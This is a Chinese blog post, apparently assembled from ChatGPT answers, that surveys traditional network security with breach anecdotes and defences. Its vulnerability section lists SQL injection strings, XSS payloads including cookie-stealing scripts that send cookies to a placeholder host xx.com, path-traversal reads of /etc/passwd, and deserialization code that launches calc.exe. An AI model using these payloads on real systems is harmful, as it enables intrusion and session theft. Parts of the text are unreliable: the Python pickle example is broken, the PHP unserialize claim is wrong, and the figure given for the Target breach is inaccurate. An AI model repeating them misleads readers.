ChatGPT：你真的了解网络安全吗？浅谈攻击防御进行时之传统的网络安全

写在前面

ChatGPT（全名：Chat Generative Pre-trained Transformer），美国OpenAI 研发的聊天机器人程序，是人工智能技术驱动的自然语言处理工具。

基于其语言模型庞大、可控制、具有高度扩展性的特点，本文通过对话ChatGPT，浅谈网络安全攻击防御进行时。

目录索引

ChatGPT：你真的了解网络安全吗？浅谈网络安全攻击防御进行时之传统的网络安全

ChatGPT：你真的了解网络安全吗？浅谈网络安全攻击防御进行时之网络安全新定义

ChatGPT：你真的了解网络安全吗？浅谈网络安全攻击防御进行时之网络攻击新威胁

ChatGPT：你真的了解网络安全吗？浅谈网络安全攻击防御进行时之网络安全新防御

ChatGPT：你真的了解网络安全吗？浅谈网络安全攻击防御进行时之网络安全新总结

传统的网络安全

提问ChatGPT：什么是传统的网络安全，主要包括哪些方面？

ChatGPT回答如下：

传统的网络安全主要是指对计算机网络系统的保护和防御措施，
以保护计算机网络不受攻击、破坏或窃取敏感数据。

基于对网络安全领域的普遍理解和实践，传统的网络安全主要包括以下方面：

1. 防火墙

威胁：入侵、木马、病毒等恶意攻击。黑客可能会通过漏洞或社交工程等手段突破防火墙，并在系统内部进行攻击和篡改。

2013年，美国零售巨头塔吉特公司（Target）的网络系统遭到黑客攻击，导致近700万张信用卡数据泄露。调查结果表明，黑客是通过一名供应商的帐号登录了塔吉特公司的网络，然后利用漏洞绕过了防火墙，最后成功入侵系统，窃取大量敏感数据。

防范措施：加强防火墙的安全性和可靠性，包括设置复杂密码、定期更新软件等措施。此外，也可以采用 IPS、IDS 等高级安全设备对网络流量进行深度筛查，及时发现和阻断潜在的攻击行为。

2. 加密技术

威胁：数据泄露、窃取和篡改等。黑客可能会通过截获数据包、恶意软件等方式窃取加密数据，并对其进行篡改。

2017年，全球最大的金融机构之一的美国信用报告公司Equifax遭受了历史上最大的数据泄露事件之一，超过1.43亿人的个人信息和社会安全号码被盗。事件调查发现，黑客利用了一个已知漏洞，从而绕过了Equifax的加密机制，获取了大量的敏感数据。

目前有些加密算法已经被广泛认为是不安全的或容易受到攻击，例如：

MD5：MD5是一种常用的哈希算法，但它已经被证明存在严重的弱点和碰撞攻击，并且不再适合用于安全敏感的应用程序中。
SHA-1：SHA-1也是一种常见的哈希算法，但它已经被证明存在严重的碰撞攻击和安全问题，并且已经被推荐不再使用。
RC4：RC4是一种对称加密算法，曾在许多应用程序中广泛使用。但是，它被证明存在严重的安全问题，并且被建议不再使用。

防范措施：采用更加安全的加密算法和密钥管理机制，同时也需要对加密协议进行随机性、不可预测性和完整性验证。此外，采用数字证书认证等技术，确保通信双方的身份真实和信息安全。

3. 认证与授权

威胁：密码破解、伪造身份等。黑客可能会通过暴力破解、社交工程、钓鱼等方式获取合法用户的账号密码和身份证明，从而进行未授权访问。

2018年，Facebook 遭到了一次大规模的黑客攻击，影响到了超过5000万用户的账户。黑客利用一个代码漏洞，盗用了大量的访问令牌，从而获取了用户的个人信息和私密消息。这次事件直接暴露了 Facebook 认证机制的漏洞，也引起了人们对社交媒体隐私的关注。

防范措施：采用更加安全和复杂的密码策略和认证机制，如多因素身份验证等。此外，也需要实行严格的访问控制和审计机制，避免未授权访问和恶意行为。

4. 漏洞管理

威胁：黑客可能利用系统漏洞进行攻击和渗透。

2019年，美国政府网络安全机构 NSA 发布了一份警告，称黑客组织正在利用漏洞攻击一些受害者的 VPN 门户。这些攻击活动被称为“Pulse Secure VPN”攻击，黑客利用了特定版本 VPN 的漏洞，以获取管理员授权、执行代码和窃取敏感数据等。

常见漏洞攻击如下：

SQL注入常见攻击方式

select * from users where name='qiu' or 1=1 # and password='xxx'
select * from user where name='qiu' or 1=1 #' and pass=''
SELECT * FROM users WHERE id=1 AND 1=(SELECT COUNT(*) FROM users GROUP BY CONCAT_WS(':', username, password));
SELECT * FROM users WHERE name='输入的用户名';
SELECT * FROM users WHERE name='' CONVERT(int, (SELECT TOP 1 password_hash FROM users)) 
-- ';
SELECT * FROM users WHERE username = 'qiu'--'  AND password = 'xx'
SELECT * FROM users WHERE id = 1 AND (SELECT COUNT(*) FROM users) > 0
SELECT * FROM users WHERE username='admin' UNION SELECT credit_card_number, expiration_date FROM credit_cards
SELECT * FROM users WHERE username='admin' UNION SELECT NULL,NULL,NULL FROM information_schema.tables --

具体可参考：[网络安全]SQL注入原理及常见攻击方法简析

xss常见攻击方式：

基础PAYLOAD：

<script>alert('XSS')</script>

直接弹出一个提示框

图片加载PAYLOAD：

<img src=x onerror="alert('XSS!')">

当加载这个图片时，会触发一段恶意脚本

链接跳转PAYLOAD：

<a href="javascript:alert('XSS')">点击我</a>

当用户点击链接时，会执行其中的脚本

Cookie盗取PAYLOAD：

<script>new Image().src="http://xx.com/steal.php?cookie="+document.cookie;</script>

将用户的Cookie信息发送到远程服务器

跳转到假登录页面PAYLOAD：

<script>document.location="http://xx.com/login.php?user="+document.cookie;</script>

伪装成登录页面欺骗用户提交用户名和密码

文件包含常见攻击方式：

相对路径Payload：一些应用程序可能允许用户输入一个相对路径，攻击者可以使用“…/”等相对路径限制符，访问应用程序目录之外的文件。

../etc/passwd（将会列出除root以外的所有Linux用户信息）

绝对路径Payload：攻击者可以使用绝对路径访问系统中的文件，如 /etc/passwd 等。

NULL字节Payload：有些应用程序在处理文件名时，只识别空字节之前的字符，而忽略后面的内容。因此，攻击者可以将 “%00” 或 “\0”（空字符）添加到文件名中，欺骗应用程序只访问他们指定的文件。

../../../../../../../../../../etc/passwd%00

PHP伪协议Payload：如果应用程序使用PHP作为服务器端脚本解释器，攻击者可以使用PHP伪协议访问远程文件。

php://filter/convert.base64-encode/resource=../../../etc/passwd

其他协议Payload：除了php协议，攻击者还可以使用其他协议来读取远程文件，比如 file ， ftp 等。

file:///etc/passwd

序列化反序列化常见攻击方式：

Java利用Payload：Java中常见的序列化和反序列化攻击方式是使用 ObjectInputStream 类进行攻击，攻击者可以构造一个包含恶意代码的序列化对象，例如：

public class Exploit implements Serializable {
  public Exploit() throws Exception {
    Runtime.getRuntime().exec("calc.exe");
    }
 }

然后将该对象序列化并通过网络发送到目标应用程序中，运行该序列化对象时就会执行恶意代码（在本例中是打开计算器）。

PHP 利用Payload：PHP中常见的序列化和反序列化攻击方式是使用 unserialize 函数来执行任意代码，攻击者可以构造一个包含恶意代码的序列化字符串，例如：

O:6:"Exploit":0:{}

当应用程序使用 unserialize 函数解析该字符串时，就会执行恶意代码。

Python 利用Payload：Python中支持使用 pickle 模块对对象进行序列化和反序列化，攻击者可以构造一个恶意代码并使用 pickle.dump 将其序列化，例如：

import os
class Exploit(object):
def reduce(self):
return (os.system,('calc.exe',))

然后将序列化后的恶意代码发送到目标系统中，使用 pickle.load 可以执行这个恶意代码。

防范措施：建立和实施完善的漏洞管理制度，及时发现和修补系统中的漏洞。同时，也需要定期进行漏洞扫描和评估，确保系统的安全性和稳定性。

安全策略

威胁：安全策略不完善、执行不到位等因素可能导致系统被黑客攻击和入侵。

2007年，中国移动曾因为短信群发功能易被利用进行违法行为而被罚款，这直接暴露出其安全策略存在缺陷和漏洞。此后，中国移动加强了对短信平台的监管和管理，并加强了电子认证及授权方面的技术和应用，提高了对违法行为的识别和预防能力。

防范措施：建立健全的安全策略和规则，包括网络访问控制、数据备份、应急响应等方面。同时，也需要加强对员工的培训和意识教育，提高他们的安全意识和能力，减少人为因素对系统安全性的影响。

提问ChatGPT：传统网络安全的侧重点在于什么？

ChatGPT回答如下：

传统的网络安全措施重点在于抵御来自外部的攻击和威胁，以保障计算机网络的安全性和稳定性。但是，随着数字化时代的快速发展和信息化程度不断提高，网络安全面临着越来越多的挑战和新型威胁。